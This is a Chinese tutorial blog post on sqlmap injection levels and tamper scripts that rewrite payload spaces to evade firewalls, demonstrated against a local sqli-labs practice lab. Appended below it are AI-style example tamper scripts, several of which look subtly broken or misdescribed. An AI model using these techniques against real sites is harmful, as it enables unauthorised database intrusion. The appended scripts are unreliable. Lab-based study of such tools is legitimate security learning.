【sqlmap之tamper脚本绕过】更新中。。。

前言:

        

        该文章仅用于信息网络安全防御技术学习,请勿用于其他用途!

        该文章为纯技术分享,严禁利用本文章所提到的技术进行非法攻击!

        

-level 设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

-v ["x"] 使用sqlmap注入测试时,可以使用 -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:

打开本地搭建的sqli-labs靶场:Less-1

设置level等级1,回显等级1
sqlmap -u "http://localhost:8030/Less-1/?id=1" --level 1 -v 1
可以看到回显信息比较少,因为level等级设置的是1,所以只使用了基本的SQL注入测试方法,回显等级是1,只显示基本信息和警告信息

下面把等级一步步提高试一下效果(同时把缓存清一下)
sqlmap -u "http://localhost:8030/Less-6/?id=1" --level 2 -v 2
--level 2:会使用一些常见的sql注入测试方法
-v 2: 同时显示debug信息 

再次提高等级:
sqlmap -u "http://localhost:8030/Less-6/?id=1" --level 2 -v 2
--level 3:使用更多的sql注入测试方法,比如堆叠注入
-v 3: 同时显示注入的pyload
等级提高到3的时候,可以看到相关日志是相当的多,当然注入时间也会比较长

下面使用sqlmap自带的tamper脚本测试绕过

脚本地址如下:

本次使用tamper脚本为:space2mysqldash.py

代码中主要包括以下函数:

dependencies():该函数是可选的,用于判断这个 tamper 脚本是否适用于当前目标站点数据库管理系统(DBMS)。如果不适用,则输出一条警告信息。在这个脚本里,它判断了目标站点是否使用 MySQL 数据库。

tamper(payload, **kwargs):这个函数是 tamper 脚本实际执行的函数,用于修改 SQL 注入测试时发送的 payload。该函数接收两个参数:待修改的 payload 和其他的参数,但在这个脚本中没有使用。该函数首先定义了一个空字符串 retVal,然后遍历 payload 的每个字符,如果当前字符为空格,则将 --%0A 加到 retVal 中,否则将当前字符加到 retVal 中。最后返回修改后的 retVal。

具体来说,这个 tamper 脚本的目的是将 payload 中的空格替换为 --%0A,即一个破折号和一个换行符,以此来绕过某些防火墙的检测。例如,将 1 AND 9227=9227 修改为 1--%0AAND--%0A9227=9227

sqlmap -u "http://localhost:8030/Less-6/?id=1" -v 3 --tamper space2mysqldash
等级3可以直观的看到注入时使用的payload,payload中的空格也被替换成了 --%0A,以此来绕过某些防火墙的检测

下面换另一个tamper脚本:space2mssqlhash.py

代码中主要包括以下函数:

tamper(payload, **kwargs):这个函数是 tamper 脚本实际执行的函数,用于修改 SQL 注入测试时发送的 payload。该函数接收两个参数:待修改的 payload 和其他的参数,但在这个脚本中没有使用。该函数首先定义了一个空字符串 retVal,然后遍历 payload 的每个字符,如果当前字符为空格,则将 %23%0A(即一个井号和一个换行符)加到 retVal 中,否则将当前字符加到 retVal 中。最后返回修改后的 retVal。

具体来说,这个 tamper 脚本的目的是将 payload 中的空格替换为 %23%0A,即一个井号和一个换行符,以此来绕过某些防火墙的检测。例如,将 1 AND 9227=9227 修改为 1%23%0AAND%23%0A9227=9227

sqlmap -u "http://localhost:8030/Less-6/?id=1" --batch -v 3 --tamper space2mssqlhash
payload中的空格也被替换成了%23%0A,  以此来绕过某些防火墙的检测

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: 我可以给你一种典型的Python脚本,它可以用于SQLMAPTamper模块:import randomdef tamper(payload, **kwargs): """ Replace random character with an upper case """ retVal = payload if payload: retVal = "" quote, double_quote, first = False, False, True for i in range(len(payload)): if payload[i] == '\'' and not double_quote: quote = not quote elif payload[i] == '"' and not quote: double_quote = not double_quote random_char = random.choice("abcdefghijklmnopqrstuvwxyz") if not quote and not double_quote: if first: random_char = random_char.upper() first = False retVal += random_char return retVal ### 回答2: SQLMap是一款常用的SQL注入工具,它包含了许多模块,其tamper模块用于修改HTTP请求和响应以绕过WAF(Web应用程序防火墙)或其他过滤机制。 可以编写一个示例脚本来说明如何使用tamper模块的Python脚本。以下是一个基本的示例: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- import random # 定义一个名称为my_tamper的函数 def my_tamper(payload, **kwargs): # 随机生成一个1或0的数,用于决定是否执行tamper if random.randint(0, 1) == 1: return payload else: # 将所有的'和"替换为%00 return payload.replace("'", "%00").replace('"', "%00") # 在tamper模块注册函数 def register(): return {'my_tamper': my_tamper} ``` 上述脚本定义了一个名为`my_tamper`的函数,它接受一个名为`payload`的参数和其他任意参数,返回修改后的payload。在这个示例,`my_tamper`函数的逻辑是随机决定是否执行tamper,如果执行tamper,则将payload的单引号和双引号替换为`%00`。 脚本的最后一行`register()`用于将`my_tamper`函数注册到tamper模块。 要在SQLMap使用这个脚本,将脚本保存并命名为`my_tamper.py`,然后使用以下命令执行: `python sqlmap.py -u <target-url> --tamper my_tamper` 其`<target-url>`是目标网站的URL。执行命令后,SQLMap将加载自定义的tamper脚本并将其应用于注入过程的payload。 以上是一个简单的示例,tamper模块的具体使用方式和功能请参考SQLMap的官方文档以及tamper模块的其他脚本。 ### 回答3: 下面是一个简单的SQLMAPtamper模块的Python脚本示例: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- """ 这是一个SQLMAP tamper模块的示例。 该脚本用于在SQL注入漏洞测试期间修改从数据库获取的数据。 作者:聊聊AI小助手 """ import random import string # 定义tamper函数 def tamper(payload, **kwargs): # 生成一个随机字符串 random_string = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(5)]) # 将payload的单引号替换为双引号 payload = payload.replace("'", '"') # 在payload添加随机字符串 payload = payload.replace(" ", "/*{}*/".format(random_string)) return payload # 测试tamper函数 print(tamper("SELECT * FROM users WHERE id=1;")) ``` 上面的脚本是一个简单的tamper模块脚本示例,将payload的单引号替换为双引号,并在payload添加了一个随机字符串来绕过一些简单的过滤机制。 请注意,这只是一个示例,实际情况下,tamper模块的实现会更加复杂,并且会根据具体的注入漏洞和目标数据库进行调整。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值